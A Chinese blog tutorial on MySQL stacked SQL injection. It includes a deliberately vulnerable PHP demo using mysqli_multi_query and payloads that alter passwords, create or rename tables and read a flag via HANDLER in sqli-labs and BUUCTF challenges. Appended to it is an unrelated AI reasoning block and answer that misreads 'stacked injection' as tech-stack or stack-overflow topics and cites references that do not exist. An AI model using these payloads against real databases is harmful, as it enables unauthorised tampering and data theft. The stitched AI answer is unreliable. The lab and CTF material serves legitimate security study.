sql注入之堆叠注入

一、堆叠注入的原理

mysql数据库sql语句的默认结束符是以";"号结尾,在执行多条sql语句时就要使用结束符隔
开,而堆叠注入其实就是通过结束符来执行多条sql语句


比如我们在mysql的命令行界面执行一条查询语句,这时语句的结尾必须加上分号结束

  • select * from student;
    HTWwvV.png

如果我们想要执行多条sql那就用结束符分号进行隔开,比如在查询的同时查看当前登录用户是谁

  • select * from student;select current_user();
    HThjHS.png

显而易见堆叠注入就是在不可控的用户输入中通过传入结束符+新的sql语句来获取想要的息,可以通过简单的流程图来了解过程

Created with Raphaël 2.3.0 web输入框 恶意sql(;show tables #) 是否存在堆叠注入 输出查出的表信息 构造其他恶意sql yes no

二、堆叠注入触发条件

堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句,这就需要服
务器在访问数据端时使用的是可同时执行多条sql语句的方法,比如php中mysqli_multi_query()函数,这个函数在支持同时执行多条sql语句,而与之对应的mysqli_query()函数一次只能执行一条sql语句,所以要想目标存在堆叠注入,在目标主机没有对堆叠注入进行黑名单过滤的情况下必须存在类似于mysqli_multi_query()这样的函数,简单总结下来就是

  1. 目标存在sql注入漏洞
  2. 目标未对";"号进行过滤
  3. 目标中间层查询数据库信息时可同时执行多条sql语句

可以做一个简单的实验,创建test.html和test.php两个文件内容分别为

  • test.html
    <html>
        <head><title>学生ID查询</title><head>
        <body>
            <form method="get" action="index.php">
                <input type="text" placeholder="输入学生id查询成绩">
                <br>
                <input type="submit">
            </form>
        </body>
    </html>
  • index.php (页面写的有点着急不要介意哈!
<?php
$id=$_GET['id'];
$con=mysqli_connect("localhost","root","123","test");
if (mysqli_connect_errno($con))
{
    echo "Failed to connect to MySQL: ".mysqli_connect_error();
}
mysqli_select_db($con, "test");
$sql="SELECT * FROM student WHERE id='$id'";
mysqli_multi_query($con, $sql);
$result = mysqli_store_result($con);
$row = mysqli_fetch_row($result);
print_r($row);
echo "<br>";
echo "you sql:  ".$sql.";";
mysqli_close($con);
?>

在mysql命令行中创建一个test数据库,再创建一个student表插入一些数据

create database test;use test;create table student( id int, name varchar(100), score varchar(100));insert into student(id,name,score) values(1,"toert","100"),(2,"giao","10");

先检查一下页面功能是否正常

H7Od4x.png

直接构造堆叠注入去创建一张test表参照student表的数据

  • ?id=1’;create table test like student;#
    H7XJRf.png
    H7XBon.png

可以看到原来的sql语句经过堆叠注入恶意构造变成了SELECT * FROM student WHERE id=‘1’;create table test like student;

三、堆叠注入实战

0x1 sqli-labs38关卡

sqli-labs靶场包含了很多类型的sql注入环境,不知道怎么搭建的可以看上一篇的sql注入环境搭建


传入单引号报错,发现错误回显分析后构造单引号闭合发现字符型注入

  • ?id=1'
    HH0AKJ.md.png
  • ?id=1' or '1'='1
    HH0Q2D.md.png

经过测试存在union联合注入,使用联合注入爆破出users表中有id、username、password三个 字段,于是尝试堆叠注入将id为1的用户密码改成123,可以配合联合查询来判断sql是否执行

  • 1' union select 1,2,3;update users set password=123 where id=1--+
    HHxCBF.md.png

然后再次查询id为1的用户时发现password信息已经被成功执行,说明目标存在堆叠注入,如果目标没有限制执行的sql语句,那就可以随心所欲的执行你想要执行的sql语句了!

  • ?id=1
    HHxtjf.png

0x2 BUUCTF的一道堆叠注入题目

测试注入点发现GET型字符注入,

  • ?inject=1' or '1'='1
    Hb3IgI.md.png

order by爆破字段2

  • ?inject=1' order by 3%23
    Hb8uKx.png

配合union select发现过滤规则

  • ?inject=1' union select 1,2%23
    HbGSFe.png

没有过滤分号,测试堆叠注入成功,查询当前数据库的表有1919810931114514words两张表

  • ?inject=1';show tables%23
    HbGBOx.png

接下来查询每张表中有哪些列明,继续使用堆叠注入配合show,发现191开头的表中存在flag关键字,这边需要注意一下的是因为这张表的名字为纯数字,在使用时需要通过"`"号括起来

  • ?inject=-1’;show columns from `1919810931114514` %23
    HbGX1s.png

因为目标过滤了select语句所以直接查询是不太可能了,这时就得用到其他可以读取表数据的方法,在网上找了找发现mysql数据库中可以使用handler语句读取表中的数据,阅读官方文档后发现这玩意就相当于一个数据指针,先创建要一个准备读取的对象然后操作这个数据指针去读取表中的数据,help查看用法如下

  • help handler;
    HbqKZd.png
  1. handler 要读取的表名 open as 别名;(打开一个句柄实例,也可以不取别名,用一个as是为了下面更加方便操作)
  2. handler 别名 read next;(将句柄移动到表中的第一行数据并且读取,也可以用first或者last读取第一行和最后一行)
  3. handler 别名 close;(将这个句柄实例关闭)

了解handler的用法再配合堆叠注入拿到flag

  • ?inject=1';handler1919810931114514open as toert;handler toert read next%23
    HbOtEj.png

对于这道题目网上搜了一下还有一种做法,就是将1919810931114514表改成words表,然后使用alter table将1919810931114514表中的falg列名修改为words中的id列名,然后通过原本的查询将flag查询出来,具体payload如下

  • ?id=1';rename table words to word;rename table1919810931114514to words;alter table words change flag id varchar(100);show tables;
    HbzU1I.png
  • ?id=1' or '1'='1
    HqSkvt.png

第二种通过修改表名字段的方式最好再用alter table add将1919810931114514表新增一个名为data列,这样就完美模拟了原来的words表结构,没有增加data列是因为目标原本的select语句应该是select * from words where id=’’,因为加了“*”所以什么都能查出来,如果语句为select id,data from words,那用原本的方法就没办法查出flag值了,因为找不到data列select语句会报错,针对这个情况可以做一个简单的实验


使用select查询固定列名信息

  • select id,name from student
    HbxLm8.png

当student表中没有name字段后再通过刚刚的语句就会报错

  • alter table drop name;
  • select id,name from student;
    HbzZtJ.png
<think>好的,我现在要处理用户关于“堆叠注入”(stack injection)的查询。首先,我需要确认用户具体指的是什么,因为“stack injection”这个术语在软件开发中并不常见,可能存在多种解释或拼写错误。可能的可能性包括: 1. **堆栈溢出(Stack Overflow)**:常见的安全漏洞,涉及覆盖栈上的数据。 2. **依赖注入(Dependency Injection)**:设计模式,可能与“stack”结合使用,如技术栈中的依赖注入。 3. **其他类型的注入攻击**:如SQL注入、XSS等,但用户可能误称为“stack injection”。 4. **技术栈(Tech Stack)中的资源注入**:如配置或服务注入到应用的不同层。 接下来,我需要查阅相关资料和引用内容,看看是否有相关解释。用户提供的引用中,引用[1]提到.NET技术栈,引用[3]涉及XSS防范,引用[4]讨论垃圾回收。可能相关的部分是引用[3]提到的输入过滤和输出编码,这可能与注入攻击有关。但“堆叠注入”可能用户想指某种注入攻击,或者是技术栈中的依赖管理问题。 考虑到常见的注入攻击如SQL注入、XSS等,可能用户混淆了术语。例如,栈溢出攻击属于内存安全漏洞,而注入攻击更多是输入验证问题。或者用户可能指的是在多层技术栈中各层存在的注入风险,如前端、后端、数据库各层都可能面临不同的注入攻击。 需要进一步澄清,但在无法询问用户的情况下,应尽可能覆盖相关领域。可能的解释包括: 1. **技术栈中的多层注入防护**:例如,在Web应用的各个层次(前端、后端、数据库)防范注入攻击。 2. **依赖注入框架的安全问题**:如在使用Spring等框架时,配置不当导致的安全隐患。 3. **栈溢出攻击**:利用缓冲区溢出覆盖栈数据,执行恶意代码。 根据引用[3],输入过滤和输出编码是防范XSS的关键,这可能与注入相关。但需要将“stack”与技术栈或调用栈联系起来。可能用户的问题更偏向于技术栈中各层的注入防护措施,或者栈溢出漏洞。 综上,我需要综合这些可能性,给出一个全面的解释,涵盖可能的术语误解,并提供相关的解决方法和示例,同时生成相关问题以引导用户进一步明确需求。</think>### 堆叠注入(Stack Injection)的概念与解决方法 在软件开发中,“堆叠注入”可能涉及两种不同场景的解读:**技术栈(Tech Stack)中的资源注入**或**调用栈(Call Stack)相关的安全漏洞**。以下是具体解析: --- #### 1. **技术栈中的资源注入** 技术栈指应用程序开发中使用的多层工具集合(如前端框架、后端语言、数据库等)。在此场景下,“注入”通常指通过依赖注入(Dependency Injection, DI)管理组件间的依赖关系。 - **依赖注入的作用**:将服务或对象的创建与使用解耦,提升代码可维护性和可测试性。例如,在Spring框架中,通过`@Autowired`注解实现依赖注入[^1]。 - **潜在风险**:若配置不当(如注入未经验证的外部服务),可能导致安全漏洞或性能问题。 - **解决方法**: - 使用安全的DI框架(如Spring Security); - 对注入的依赖进行权限控制和输入验证[^3]。 --- #### 2. **调用栈相关的安全漏洞** 若指**调用栈(Call Stack)**,则可能涉及**栈溢出攻击(Stack Overflow Exploit)**或**代码注入**。 - **栈溢出攻击**:攻击者通过覆盖栈内存中的返回地址,劫持程序执行流程并注入恶意代码。例如,缓冲区溢出漏洞可导致此类问题[^2]。 - **解决方法**: - 启用编译器的栈保护机制(如Canary值); - 使用内存安全的编程语言(如Rust); - 对用户输入进行严格过滤(如限制输入长度)[^3]。 --- #### 3. **其他注入攻击的扩展** “堆叠注入”也可能是对常见注入攻击(如SQL注入、XSS)的误称。例如: - **SQL注入**:通过拼接恶意SQL语句操纵数据库; - **XSS攻击**:注入恶意脚本到网页中。 - **防护措施**: - 参数化查询(防范SQL注入); - 对输出内容进行HTML转义(防范XSS)。 --- ### 示例代码:防范SQL注入 ```python # 不安全的写法(易受SQL注入攻击) query = "SELECT * FROM users WHERE name = '" + user_input + "';" # 安全的参数化查询 import sqlite3 conn = sqlite3.connect('database.db') cursor = conn.cursor() cursor.execute("SELECT * FROM users WHERE name = ?", (user_input,)) ``` ---
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值